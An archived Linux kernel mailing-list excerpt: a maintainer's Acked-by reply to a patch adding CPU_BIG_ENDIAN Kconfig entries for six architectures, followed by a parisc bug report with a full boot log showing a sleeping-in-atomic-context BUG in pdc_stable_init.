> drivers/of/base.c
> drivers/of/fdt.c
> drivers/tty/serial/earlycon.c
> drivers/tty/serial/serial_core.c
> Be aware that this may cause regressions if someone has worked-around
> problems in the above code already. Remove the work-around.
> 
> Here is our original discussion
> https://lkml.org/lkml/2017/5/24/620
> 
> Signed-off-by: Babu Moger <babu.moger@oracle.com>
> Suggested-by: Arnd Bergmann <arnd@arndb.de>
> Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>
> Acked-by: David S. Miller <davem@davemloft.net>
> Acked-by: Stafford Horne <shorne@gmail.com>

It seems for sparc it was already merged?

Anyway, you may add
Acked-by: Helge Deller <deller@gmx.de> # parisc

Helge

> ---
>  arch/frv/Kconfig      |    3 +++
>  arch/h8300/Kconfig    |    3 +++
>  arch/m68k/Kconfig     |    3 +++
>  arch/openrisc/Kconfig |    3 +++
>  arch/parisc/Kconfig   |    3 +++
>  arch/sparc/Kconfig    |    3 +++
>  6 files changed, 18 insertions(+), 0 deletions(-)
> 
> diff --git a/arch/frv/Kconfig b/arch/frv/Kconfig
> index eefd9a4..1cce824 100644
> --- a/arch/frv/Kconfig
> +++ b/arch/frv/Kconfig
> @@ -17,6 +17,9 @@ config FRV
>  	select HAVE_DEBUG_STACKOVERFLOW
>  	select ARCH_NO_COHERENT_DMA_MMAP
>  
> +config CPU_BIG_ENDIAN
> +	def_bool y
> +
>  config ZONE_DMA
>  	bool
>  	default y
> diff --git a/arch/h8300/Kconfig b/arch/h8300/Kconfig
> index 3ae8525..5380ac8 100644
> --- a/arch/h8300/Kconfig
> +++ b/arch/h8300/Kconfig
> @@ -23,6 +23,9 @@ config H8300
>  	select HAVE_ARCH_HASH
>  	select CPU_NO_EFFICIENT_FFS
>  
> +config CPU_BIG_ENDIAN
> +	def_bool y
> +
>  config RWSEM_GENERIC_SPINLOCK
>  	def_bool y
>  
> diff --git a/arch/m68k/Kconfig b/arch/m68k/Kconfig
> index d140206..029a58b 100644
> --- a/arch/m68k/Kconfig
> +++ b/arch/m68k/Kconfig
> @@ -23,6 +23,9 @@ config M68K
>  	select OLD_SIGSUSPEND3
>  	select OLD_SIGACTION
>  
> +config CPU_BIG_ENDIAN
> +	def_bool y
> +
>  config RWSEM_GENERIC_SPINLOCK
>  	bool
>  	default y
> diff --git a/arch/openrisc/Kconfig b/arch/openrisc/Kconfig
> index 1e95920..a0f2e4a 100644
> --- a/arch/openrisc/Kconfig
> +++ b/arch/openrisc/Kconfig
> @@ -29,6 +29,9 @@ config OPENRISC
>  	select CPU_NO_EFFICIENT_FFS if !OPENRISC_HAVE_INST_FF1
>  	select NO_BOOTMEM
>  
> +config CPU_BIG_ENDIAN
> +	def_bool y
> +
>  config MMU
>  	def_bool y
>  
> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> index 531da9e..dda1f55 100644
> --- a/arch/parisc/Kconfig
> +++ b/arch/parisc/Kconfig
> @@ -47,6 +47,9 @@ config PARISC
>  	  and later HP3000 series).  The PA-RISC Linux project home page is
>  	  at <http://www.parisc-linux.org/>.
>  
> +config CPU_BIG_ENDIAN
> +	def_bool y
> +
>  config MMU
>  	def_bool y
>  
> diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
> index 908f019..0d9dc49 100644
> --- a/arch/sparc/Kconfig
> +++ b/arch/sparc/Kconfig
> @@ -92,6 +92,9 @@ config ARCH_DEFCONFIG
>  config ARCH_PROC_KCORE_TEXT
>  	def_bool y
>  
> +config CPU_BIG_ENDIAN
> +	def_bool y
> +
>  config ARCH_ATU
>  	bool
>  	default y if SPARC64
> 


From - Thu Nov 08 21:40:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc 4.13-git, BUG: sleeping function called from invalid context
 at mm/slab.h:416
Date: Sat, 29 Jul 2017 22:09:35 +0300 (EEST)
Lines: 2110
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1707292206210.12687@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1501355389 16772 195.159.176.226 (29 Jul 2017 19:09:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 29 Jul 2017 19:09:49 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 29 21:09:42 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dbX7M-0003qX-0b
	for glpp-linux-parisc@m.gmane.org; Sat, 29 Jul 2017 21:09:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751446AbdG2TJp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 29 Jul 2017 15:09:45 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:50262 "EHLO smtp2.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750847AbdG2TJl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 29 Jul 2017 15:09:41 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp2.it.da.ut.ee (Postfix) with ESMTP id 5839273D62F
        for <linux-parisc@vger.kernel.org>; Sat, 29 Jul 2017 22:09:37 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 31A31221A02; Sat, 29 Jul 2017 22:09:35 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 3F5A2220E11
        for <linux-parisc@vger.kernel.org>; Sat, 29 Jul 2017 22:09:35 +0300 (EEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27598
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27598>

I compiled yesterdays 4.13 git to test my parisc boxes after the parisc 
merge, and got the same BUG on both UP rp3410 and SMP rp3440.

Full dmesg and config for rp3440 are below.

[    0.000000] Linux version 4.13.0-rc2-00110-g0b5477d9dabd (mroos@rp3440) (gcc version 5.4.0 (Gentoo 5.4.0 p1.0)) #111 SMP Fri Jul 28 12:19:51 EEST 2017
[    0.000000] unwind_init: start = 0x408368f4, end = 0x40874e94, entries = 15962
[    0.000000] FP[0] enabled: Rev 1 Model 20
[    0.000000] The 64-bit Kernel has started...
[    0.000000] Kernel default page size is 4 KB. Huge pages enabled with 1 MB physical and 2 MB virtual size.
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] PAT: Running on cell 0 and location 1.
[    0.000000] model 00008870 00000491 00000000 00000002 3e13dce90a9eb86d 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000302
[    0.000000] CPUID vers 20 rev 5 (0x00000285)
[    0.000000] capabilities 0x35
[    0.000000] model 9000/800/rp3440  
[    0.000000] parisc_cache_init: Only equivalent aliasing supported!
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
[    0.000000]  1) Start 0x0000000100000000 End 0x00000002ffdfffff Size   8190 MB
[    0.000000]  2) Start 0x0000004040000000 End 0x00000040ffffffff Size   3072 MB
[    0.000000] Total Memory: 12286 MB
[    0.000000] PDT: size 3000, entries 0, status 0, dbe_loc 0xffffffffffffffff, good_mem 0
[    0.000000] PDT: Firmware reports all memory OK.
[    0.000000] On node 0 totalpages: 262144
[    0.000000] free_area_init_node: node 0, pgdat 4090d100, node_mem_map 413f200000
[    0.000000]   Normal zone: 3584 pages used for memmap
[    0.000000]   Normal zone: 0 pages reserved
[    0.000000]   Normal zone: 262144 pages, LIFO batch:31
[    0.000000] On node 1 totalpages: 2096640
[    0.000000] free_area_init_node: node 1, pgdat 4090dc50, node_mem_map 41381fff00
[    0.000000]   Normal zone: 28665 pages used for memmap
[    0.000000]   Normal zone: 0 pages reserved
[    0.000000]   Normal zone: 2096640 pages, LIFO batch:31
[    0.000000] On node 2 totalpages: 786432
[    0.000000] free_area_init_node: node 2, pgdat 4090e7a0, node_mem_map 41357ff700
[    0.000000]   Normal zone: 10752 pages used for memmap
[    0.000000]   Normal zone: 0 pages reserved
[    0.000000]   Normal zone: 786432 pages, LIFO batch:31
[    0.000000] percpu: Embedded 22 pages/cpu @00000041357a5000 s49680 r8192 d32240 u90112
[    0.000000] pcpu-alloc: s49680 r8192 d32240 u90112 alloc=22*4096
[    0.000000] pcpu-alloc: [0] 0 [0] 1 [0] 2 [0] 3 
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 3 zonelists in Zone order, mobility grouping on.  Total pages: 3102215
[    0.000000] Kernel command line: root=/dev/sda3 console=ttyS1 palo_kernel=2/vmlinux
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 2097152 (order: 12, 16777216 bytes)
[    0.000000] Inode-cache hash table entries: 1048576 (order: 11, 8388608 bytes)
[    0.000000] Memory: 12349052K/12580864K available (5196K kernel code, 2024K rwdata, 580K rodata, 1024K init, 520K bss, 231812K reserved, 0K cma-reserved)
[    0.000000] virtual kernel memory layout:
                   vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
                   memory  : 0x0000000040000000 - 0x0000004140000000   (266240 MB)
                     .init : 0x0000000040100000 - 0x0000000040200000   (1024 kB)
                     .data : 0x0000000040713000 - 0x000000004099e660   (2605 kB)
                     .text : 0x0000000040200000 - 0x0000000040713000   (5196 kB)
[    0.000000] SLUB: HWalign=16, Order=0-3, MinObjects=0, CPUs=4, Nodes=8
[    0.000000] Hierarchical RCU implementation.
[    0.000000] NR_IRQS: 80
[    0.000007] sched_clock: 64 bits at 800MHz, resolution 1ns, wraps every 4398046511103ns
[    0.000479] Console: colour dummy device 160x64
[    0.000876] Calibrating delay loop... 1594.36 BogoMIPS (lpj=3188736)
[    0.048184] pid_max: default: 32768 minimum: 301
[    0.048744] Mount-cache hash table entries: 32768 (order: 6, 262144 bytes)
[    0.049545] Mountpoint-cache hash table entries: 32768 (order: 6, 262144 bytes)
[    0.053129] Hierarchical SRCU implementation.
[    0.053822] smp: Bringing up secondary CPUs ...
[    0.053933] smp: Brought up 3 nodes, 1 CPU
[    0.059062] devtmpfs: initialized
[    0.060143] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns
[    0.060422] futex hash table entries: 1024 (order: 3, 32768 bytes)
[    0.072171] random: get_random_u32 called from 0x48fc004008bf0ad3 with crng_init=0
[    0.072484] NET: Registered protocol family 16
[    0.072868] Searching for devices...
[    0.204009] Found devices:
[    0.204068] 1. Storm Peak Slow at 0xfffffffffe780000 [128] { 0, 0x0, 0x887, 0x00004 }
[    0.204278] 2. Storm Peak Slow at 0xfffffffffe781000 [129] { 0, 0x0, 0x887, 0x00004 }
[    0.204774] 3. Storm Peak Slow at 0xfffffffffe798000 [152] { 0, 0x0, 0x887, 0x00004 }
[    0.208012] 4. Storm Peak Slow at 0xfffffffffe799000 [153] { 0, 0x0, 0x887, 0x00004 }
[    0.208233] 5. Everest Mako Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0af, 0x00009 }
[    0.210460] 6. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
[    0.212012] 7. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
[    0.212244] 8. Mercury PCI Bridge at 0xfffffffffed22000 [0/1] { 13, 0x0, 0x783, 0x0000a }
[    0.216012] 9. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
[    0.220012] 10. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
[    0.222359] 11. Mercury PCI Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x783, 0x0000a }
[    0.222593] 12. Mercury PCI Bridge at 0xfffffffffed2c000 [0/6] { 13, 0x0, 0x783, 0x0000a }
[    0.224012] 13. Mercury PCI Bridge at 0xfffffffffed2e000 [0/7] { 13, 0x0, 0x783, 0x0000a }
[    0.232012] 14. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
[    0.232240] Enabling PDC_PAT chassis codes support v0.05
[    0.822404] Logical CPU #0 is physical cpu #0 at location 0xffff0000ffff15 with hpa 0xfffffffffe780000
[    0.828010] Logical CPU #1 is physical cpu #1 at location 0xffff0000ffff15 with hpa 0xfffffffffe781000
[    0.828795] Releasing cpu 1 now, hpa=fffffffffe781000
[    0.888013] Logical CPU #2 is physical cpu #2 at location 0xffff0001ffff15 with hpa 0xfffffffffe798000
[    0.888790] Releasing cpu 2 now, hpa=fffffffffe798000
[    0.956016] Logical CPU #3 is physical cpu #3 at location 0xffff0001ffff15 with hpa 0xfffffffffe799000
[    0.956693] Releasing cpu 3 now, hpa=fffffffffe799000
[    1.056405] CPU(s): 4 out of 4 PA8800 (Mako) at 800.012900 MHz online
[    1.065217] Whole cache flush 4795887 cycles, flushing 9437184 bytes 947476 cycles
[    1.065224] Cache flush threshold set to 32768 KiB
[    1.065970] Whole TLB flush 18521 cycles, flushing 9437184 bytes 475044 cycles
[    1.065976] TLB flush threshold set to 1440 KiB
[    1.104062] SBA found Pluto 2.3 at 0xfffffffffed00000
[    1.252039] random: fast init done
[    1.304048] Mercury version TR3.2 (0x32) found at 0xfffffffffed20000
[    1.360177] LBA 0:0: PCI host bridge to bus 0000:00
[    1.360313] pci_bus 0000:00: root bus resource [io  0x0000-0xffff]
[    1.360475] pci_bus 0000:00: root bus resource [mem 0xffffffff80000000-0xffffffff8fffffff] (bus address [0x80000000-0x8fffffff])
[    1.360985] pci_bus 0000:00: root bus resource [bus 00-07]
[    1.364048] pci 0000:00:01.0: [1033:0035] type 00 class 0x0c0310
[    1.364094] pci 0000:00:01.0: reg 0x10: [mem 0xffffffff80002000-0xffffffff80002fff]
[    1.364227] pci 0000:00:01.0: supports D1 D2
[    1.364233] pci 0000:00:01.0: PME# supported from D0 D1 D2 D3hot
[    1.364362] pci 0000:00:01.1: [1033:0035] type 00 class 0x0c0310
[    1.364398] pci 0000:00:01.1: reg 0x10: [mem 0xffffffff80001000-0xffffffff80001fff]
[    1.364520] pci 0000:00:01.1: supports D1 D2
[    1.364526] pci 0000:00:01.1: PME# supported from D0 D1 D2 D3hot
[    1.364626] pci 0000:00:01.2: [1033:00e0] type 00 class 0x0c0320
[    1.364663] pci 0000:00:01.2: reg 0x10: [mem 0xffffffff80000000-0xffffffff800000ff]
[    1.364784] pci 0000:00:01.2: supports D1 D2
[    1.364790] pci 0000:00:01.2: PME# supported from D0 D1 D2 D3hot
[    1.364905] pci 0000:00:02.0: [1095:0649] type 00 class 0x01018f
[    1.364941] pci 0000:00:02.0: reg 0x10: [io  0x0d18-0x0d1f]
[    1.364960] pci 0000:00:02.0: reg 0x14: [io  0x0d24-0x0d27]
[    1.364979] pci 0000:00:02.0: reg 0x18: [io  0x0d10-0x0d17]
[    1.364998] pci 0000:00:02.0: reg 0x1c: [io  0x0d20-0x0d23]
[    1.365017] pci 0000:00:02.0: reg 0x20: [io  0x0d00-0x0d0f]
[    1.365088] pci 0000:00:02.0: supports D1 D2
[    1.388048] Mercury version TR3.2 (0x32) found at 0xfffffffffed22000
[    1.444193] LBA 0:1: PCI host bridge to bus 0000:20
[    1.444330] pci_bus 0000:20: root bus resource [io  0x10000-0x1ffff] (bus address [0x0000-0xffff])
[    1.444780] pci_bus 0000:20: root bus resource [mem 0xffffffff90000000-0xffffffff9fffffff] (bus address [0x90000000-0x9fffffff])
[    1.448018] pci_bus 0000:20: root bus resource [bus 20-27]
[    1.448194] pci 0000:20:01.0: [1000:0021] type 00 class 0x010000
[    1.448231] pci 0000:20:01.0: reg 0x10: [io  0x12100-0x121ff]
[    1.448252] pci 0000:20:01.0: reg 0x14: [mem 0xffffffff90015000-0xffffffff900153ff 64bit]
[    1.448273] pci 0000:20:01.0: reg 0x1c: [mem 0xffffffff90012000-0xffffffff90013fff 64bit]
[    1.448336] pci 0000:20:01.0: supports D1 D2
[    1.448458] pci 0000:20:01.1: [1000:0021] type 00 class 0x010000
[    1.448486] pci 0000:20:01.1: reg 0x10: [io  0x12000-0x120ff]
[    1.448507] pci 0000:20:01.1: reg 0x14: [mem 0xffffffff90014000-0xffffffff900143ff 64bit]
[    1.448528] pci 0000:20:01.1: reg 0x1c: [mem 0xffffffff90010000-0xffffffff90011fff 64bit]
[    1.448580] pci 0000:20:01.1: supports D1 D2
[    1.448685] pci 0000:20:02.0: [14e4:1645] type 00 class 0x020000
[    1.448720] pci 0000:20:02.0: reg 0x10: [mem 0xffffffff90000000-0xffffffff9000ffff 64bit]
[    1.448821] pci 0000:20:02.0: PME# supported from D3hot D3cold
[    1.468046] Mercury version TR3.2 (0x32) found at 0xfffffffffed24000
[    1.528137] LBA 0:2: PCI host bridge to bus 0000:40
[    1.528276] pci_bus 0000:40: root bus resource [io  0x20000-0x2ffff] (bus address [0x0000-0xffff])
[    1.528728] pci_bus 0000:40: root bus resource [mem 0xffffffffa0000000-0xffffffffafffffff] (bus address [0xa0000000-0xafffffff])
[    1.531136] pci_bus 0000:40: root bus resource [bus 40-47]
[    1.552045] Mercury version TR3.2 (0x32) found at 0xfffffffffed26000
[    1.608199] LBA 0:3: PCI host bridge to bus 0000:60
[    1.608335] pci_bus 0000:60: root bus resource [io  0x30000-0x3ffff] (bus address [0x0000-0xffff])
[    1.608738] pci_bus 0000:60: root bus resource [mem 0xffffffffb0000000-0xffffffffbfffffff] (bus address [0xb0000000-0xbfffffff])
[    1.612017] pci_bus 0000:60: root bus resource [bus 60-67]
[    1.612193] pci 0000:60:01.0: [103c:1029] type 00 class 0x0c0400
[    1.612239] pci 0000:60:01.0: reg 0x14: [io  0x36100-0x361ff]
[    1.612255] pci 0000:60:01.0: reg 0x18: [io  0x36000-0x360ff]
[    1.612271] pci 0000:60:01.0: reg 0x1c: [mem 0xffffffffb0040000-0xffffffffb00401ff]
[    1.612296] pci 0000:60:01.0: reg 0x24: [mem 0xffffffffb0020000-0xffffffffb003ffff]
[    1.612312] pci 0000:60:01.0: reg 0x30: [mem 0xffffffffb0000000-0xffffffffb001ffff pref]
[    1.612360] pci 0000:60:01.0: supports D1
[    1.632047] Mercury version TR3.2 (0x32) found at 0xfffffffffed28000
[    1.668025] LBA: lmmio_space [0xffffffffc0000000-0xffffffffdfffffff] - new
[    1.692182] LBA 0:4: PCI host bridge to bus 0000:80
[    1.692321] pci_bus 0000:80: root bus resource [io  0x40000-0x4ffff] (bus address [0x0000-0xffff])
[    1.692732] pci_bus 0000:80: root bus resource [mem 0xffffffffc0000000-0xffffffffdfffffff] (bus address [0xc0000000-0xdfffffff])
[    1.695087] pci_bus 0000:80: root bus resource [bus 80-87]
[    1.695261] pci 0000:80:01.0: [103c:1029] type 00 class 0x0c0400
[    1.696050] pci 0000:80:01.0: reg 0x14: [io  0x48100-0x481ff]
[    1.696066] pci 0000:80:01.0: reg 0x18: [io  0x48000-0x480ff]
[    1.696081] pci 0000:80:01.0: reg 0x1c: [mem 0xffffffffc0040000-0xffffffffc00401ff]
[    1.696106] pci 0000:80:01.0: reg 0x24: [mem 0xffffffffc0020000-0xffffffffc003ffff]
[    1.696122] pci 0000:80:01.0: reg 0x30: [mem 0xffffffffc0000000-0xffffffffc001ffff pref]
[    1.696169] pci 0000:80:01.0: supports D1
[    1.716048] Mercury version TR3.2 (0x32) found at 0xfffffffffed2c000
[    1.772184] LBA 0:6: PCI host bridge to bus 0000:c0
[    1.772322] pci_bus 0000:c0: root bus resource [io  0x50000-0x5ffff] (bus address [0x0000-0xffff])
[    1.772740] pci_bus 0000:c0: root bus resource [mem 0xffffffffe0000000-0xffffffffefffffff] (bus address [0xe0000000-0xefffffff])
[    1.776018] pci_bus 0000:c0: root bus resource [bus c0-c7]
[    1.800048] Mercury version TR3.2 (0x32) found at 0xfffffffffed2e000
[    1.832031] LBA: lmmio_space [0xfffffffff0000000-0xfffffffffe77ffff] - new
[    1.856202] LBA 0:7: PCI host bridge to bus 0000:e0
[    1.856349] pci_bus 0000:e0: root bus resource [io  0x60000-0x6ffff] (bus address [0x0000-0xffff])
[    1.856835] pci_bus 0000:e0: root bus resource [mem 0xfffffffff0000000-0xfffffffffe77ffff] (bus address [0xf0000000-0xfe77ffff])
[    1.860058] pci_bus 0000:e0: root bus resource [bus e0-e7]
[    1.860241] pci 0000:e0:01.0: [103c:1290] type 00 class 0x078000
[    1.860325] pci 0000:e0:01.0: reg 0x18: [mem 0xfffffffff4051000-0xfffffffff405100f]
[    1.860562] pci 0000:e0:01.1: [103c:1048] type 00 class 0x070002
[    1.860605] pci 0000:e0:01.1: reg 0x10: [mem 0xfffffffff4050000-0xfffffffff4050fff]
[    1.860644] pci 0000:e0:01.1: reg 0x18: [mem 0xfffffffff4020000-0xfffffffff403ffff pref]
[    1.860871] pci 0000:e0:02.0: [1002:5159] type 00 class 0x030000
[    1.860913] pci 0000:e0:02.0: reg 0x10: [mem 0xfffffffff0000000-0xfffffffff3ffffff pref]
[    1.860935] pci 0000:e0:02.0: reg 0x14: [io  0x6e000-0x6e0ff]
[    1.860957] pci 0000:e0:02.0: reg 0x18: [mem 0xfffffffff4040000-0xfffffffff404ffff]
[    1.861025] pci 0000:e0:02.0: reg 0x30: [mem 0xfffffffff4000000-0xfffffffff401ffff pref]
[    1.861078] pci 0000:e0:02.0: supports D1 D2
[    1.863028] powersw: Soft power switch support not available.
[    1.866519] HugeTLB registered 2.00 MiB page size, pre-allocated 0 pages
[    1.866519] pci 0000:e0:02.0: vgaarb: setting as boot VGA device
[    1.866519] pci 0000:e0:02.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=none
[    1.866519] pci 0000:e0:02.0: vgaarb: bridge control possible
[    1.868017] vgaarb: loaded
[    1.868260] SCSI subsystem initialized
[    1.874980] NET: Registered protocol family 2
[    1.875653] TCP established hash table entries: 131072 (order: 8, 1048576 bytes)
[    1.877874] TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
[    1.879654] TCP: Hash tables configured (established 131072 bind 65536)
[    1.880087] UDP hash table entries: 8192 (order: 6, 262144 bytes)
[    1.880869] UDP-Lite hash table entries: 8192 (order: 6, 262144 bytes)
[    1.881672] NET: Registered protocol family 1
[    1.881791] PCI: CLS 16 bytes
[    1.881952] clocksource: cr16_unstable: mask: 0xffffffffffffffff max_cycles: 0xb881ea1a86, max_idle_ns: 440795202977 ns
[    1.884014] Chassis warnings not supported.
[    1.884622] Performance monitoring counters enabled for Storm Peak Slow
[    1.885242] workingset: timestamp_bits=59 max_order=22 bucket_order=0
[    1.893755] cryptomgr_test (41) used greatest stack depth: 13928 bytes left
[    1.893755] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
[    1.893755] io scheduler noop registered
[    1.893755] io scheduler deadline registered
[    1.893755] io scheduler cfq registered (default)
[    1.900030] PDC Stable Storage facility v0.30
[    1.936053] BUG: sleeping function called from invalid context at mm/slab.h:416
[    1.936243] in_atomic(): 1, irqs_disabled(): 0, pid: 1, name: swapper/0
[    1.936601] CPU: 2 PID: 1 Comm: swapper/0 Not tainted 4.13.0-rc2-00110-g0b5477d9dabd #111
[    1.936828] Backtrace:
[    1.936889]  [<0000000040217ac8>] show_stack+0x20/0x38
[    1.939036]  [<00000000406fbbb0>] dump_stack+0xb0/0x128
[    1.939174]  [<0000000040274090>] ___might_sleep+0x180/0x1b8
[    1.940000]  [<0000000040274144>] __might_sleep+0x7c/0xe8
[    1.940000]  [<0000000040373874>] kmem_cache_alloc+0x14c/0x1e0
[    1.940000]  [<0000000040419514>] __kernfs_new_node+0x84/0x1b8
[    1.940000]  [<000000004041b09c>] kernfs_new_node+0x3c/0x78
[    1.940000]  [<000000004041e040>] kernfs_create_link+0x40/0xd8
[    1.940000]  [<000000004041f320>] sysfs_do_create_link_sd.isra.0+0xb0/0x130
[    1.940000]  [<000000004041f3d4>] sysfs_create_link+0x34/0x58
[    1.940000]  [<000000004011b4a4>] pdc_stable_init+0x2c4/0x458
[    1.940000]  [<0000000040200250>] do_one_initcall+0x70/0x1d8
[    1.940000]  [<0000000040101644>] kernel_init_freeable+0x27c/0x390
[    1.940000]  [<000000004020be44>] kernel_init+0x24/0x1c0
[    1.940000]  [<0000000040204020>] end_fault_vector+0x20/0x28
[    1.940000]  [<00000000406fb6a8>] cpumask_next_and+0x70/0xb8

[    1.976042] STI GSC/PCI core graphics driver Version 0.9b
[    1.976438] Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
[    2.000425] 0000:e0:01.0: ttyS0 at MMIO 0xfffffffff4051000 (irq = 27, base_baud = 115200) is a 16450
[    2.044038] 0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050000 (irq = 27, base_baud = 115200) is a 16550A
[    2.044568] console [ttyS1] enabled
[    2.045095] bootconsole [ttyB0] disabled
[    2.068028] 0000:e0:01.1: ttyS2 at MMIO 0xfffffffff4050010 (irq = 27, base_baud = 115200) is a 16550A
[    2.088027] 0000:e0:01.1: ttyS3 at MMIO 0xfffffffff4050038 (irq = 27, base_baud = 115200) is a 16550A
[    2.296029] sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 22
[    2.301361] sym0: No NVRAM, ID 7, Fast-80, LVD, parity checking
[    2.336000] sym0: SCSI BUS has been reset.
[    2.340019] scsi host0: sym-2.2.3
[    5.424073] scsi 0:0:0:0: Direct-Access     COMPAQ   BF07285A36       HPB7 PQ: 0 ANSI: 3
[    5.424252] scsi target0:0:0: tagged command queuing enabled, command queue depth 16.
[    5.424704] scsi target0:0:0: Beginning Domain Validation
[    5.428044] scsi target0:0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
[    5.436025] scsi target0:0:0: Ending Domain Validation
[    9.808029] sym1: <1010-66> rev 0x1 at pci 0000:20:01.1 irq 23
[    9.810080] sym1: No NVRAM, ID 7, Fast-80, LVD, parity checking
[    9.848000] sym1: SCSI BUS has been reset.
[    9.848017] scsi host1: sym-2.2.3
[   14.388042] random: crng init done
[   17.328586] mousedev: PS/2 mouse device common for all mice
[   17.328293] sd 0:0:0:0: [sda] 142264000 512-byte logical blocks: (72.8 GB/67.8 GiB)
[   17.332045] sd 0:0:0:0: [sda] Write Protect is off
[   17.332145] sd 0:0:0:0: [sda] Mode Sense: d3 00 10 08
[   17.332175] sd 0:0:0:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
[   17.336333] rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
[   17.336567] NET: Registered protocol family 17
[   17.353491] rtc-generic rtc-generic: setting system clock to 2017-07-29 18:44:31 UTC (1501353871)
[   17.372239]  sda: sda1 sda2 sda3 sda4
[   17.404040] sd 0:0:0:0: [sda] Attached SCSI disk
[   17.404470] EXT4-fs (sda3): couldn't mount as ext3 due to feature incompatibilities
[   17.408031] EXT4-fs (sda3): couldn't mount as ext2 due to feature incompatibilities
[   17.435256] EXT4-fs (sda3): mounted filesystem with ordered data mode. Opts: (null)
[   17.435482] VFS: Mounted root (ext4 filesystem) readonly on device 8:3.
[   17.448098] devtmpfs: mounted
[   17.452519] Freeing unused kernel memory: 1024K
[   17.572017] Write protecting the kernel read-only data: 580k
[   18.324016] kbd_mode (63) used greatest stack depth: 10472 bytes left
[   18.581972] loadkeys (64) used greatest stack depth: 8920 bytes left
[   18.586115] init-early.sh (62) used greatest stack depth: 8408 bytes left
[   26.522476] libata version 3.00 loaded.
[   26.685858] pps_core: LinuxPPS API ver. 1 registered
[   26.685858] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti <giometti@linux.it>
[   26.692311] pata_cmd64x 0000:00:02.0: Secondary port is disabled
[   26.694826] scsi host2: pata_cmd64x
[   26.695505] scsi host3: pata_cmd64x
[   26.695505] ata1: PATA max UDMA/100 cmd 0xd18 ctl 0xd24 bmdma 0xd00 irq 21
[   26.695505] ata2: DUMMY
[   26.699889] pata_cmd64x: active 10 recovery 10 setup 3.
[   26.699889] pata_cmd64x: active 10 recovery 10 setup 3.
[   26.798352] PTP clock support registered
[   26.888657] ata1.00: ATAPI: DV-28E-C, C.4D, max UDMA/33
[   26.888686] pata_cmd64x: active 3 recovery 1 setup 1.
[   26.940480] ata1.00: configured for UDMA/33
[   26.984243] scsi 2:0:0:0: CD-ROM            TEAC     DV-28E-C         C.4D PQ: 0 ANSI: 5
[   27.068278] tg3.c:v3.137 (May 11, 2014)
[   28.273182] tg3 0000:20:02.0 eth0: Tigon3 [partno(BCM95700A6) rev 0105] (PCI:66MHz:64-bit) MAC address 00:30:6e:4b:41:a3
[   28.273196] tg3 0000:20:02.0 eth0: attached PHY is 5701 (10/100/1000Base-T Ethernet) (WireSpeed[1], EEE[0])
